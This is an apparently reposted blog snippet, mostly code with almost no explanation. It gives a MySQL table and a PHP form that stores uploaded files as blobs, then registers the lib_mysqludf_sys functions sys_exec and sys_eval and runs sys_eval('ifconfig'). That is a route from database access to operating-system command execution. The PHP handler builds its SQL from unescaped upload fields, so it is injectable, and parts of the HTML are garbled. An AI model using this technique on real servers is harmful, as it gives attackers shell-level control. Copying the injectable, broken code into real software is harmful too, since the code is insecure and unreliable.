本文共 2327 字,大约阅读时间需要 7 分钟。
First:
.........
CREATE TABLE tbl_upload (
id INT NOT NULL AUTO_INCREMENT,name VARCHAR(30) NOT NULL,type VARCHAR(30) NOT NULL,size INT NOT NULL,content MEDIUMBLOB NOT NULL,PRIMARY KEY(id));....
then...............
<?php
if(isset($_POST['upload_file']) && $_FILES['file_name']['size'] > 0)
{ $originalName = $_FILES['file_name']['name'];$tmpName = $_FILES['file_name']['tmp_name'];$fileSize = $_FILES['file_name']['size'];$fileType = $_FILES['file_name']['type'];$fp = fopen($tmpName, 'r');
$content = fread($fp, filesize($tmpName));$content = addslashes($content);fclose($fp);if(!get_magic_quotes_gpc())
{ $originalName = addslashes($originalName);}$dbhostname = 'ip';
$dbusername = 'test';$dbpassword = 'test';$connection = mysql_connect($dbhostname, $dbusername, $dbpassword);mysql_select_db("testing");
$query = "INSERT INTO tbl_upload (name, size, type, content ) VALUES ('$originalName', '$fileSize', '$fileType', '$content')";
mysql_query($query) or die('Error, query failed');
mysql_close($connection);
echo "File $originalName uploaded";
}?><HTML>
<BODY><form method="post" ACTION="new.php"enctype="multipart/form-data"><table width="50%" align="center" border="0?? cellpadding="1?? cellspacing="1??><tr><td width="59%" align="left"><input type="hidden" name="MAX_SIZE" value="200000000000"><input name="file_name" type="file" id="file_name"></td><td width="41%" align="left"><input name="upload_file" type="submit" id="upload_file" value="Upload"></td></tr></table></form>
</BODY>
</HTML>..................................
------------------------------all-------------------
CREATE TABLE tbl_Files (id_files tinyint(3) unsigned NOT NULL auto_increment,bin_data longblob NOT NULL,description
tinytext NOT NULL,filename varchar(50) NOT NULL,filesize varchar(50) NOT NULL,filetype varchar(50) NOT NULL,PRIMARY KEY
(id_files));
create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
create function sys_get returns string soname 'lib_mysqludf_sys.so';
create function sys_set returns int soname 'lib_mysqludf_sys.so';
create function sys_exec returns int soname 'lib_mysqludf_sys.so'; create function sys_eval returns string soname 'lib_mysqludf_sys.so';select sys_eval('ifconfig');
....like this...
转载地址:http://jlqmb.baihongyu.com/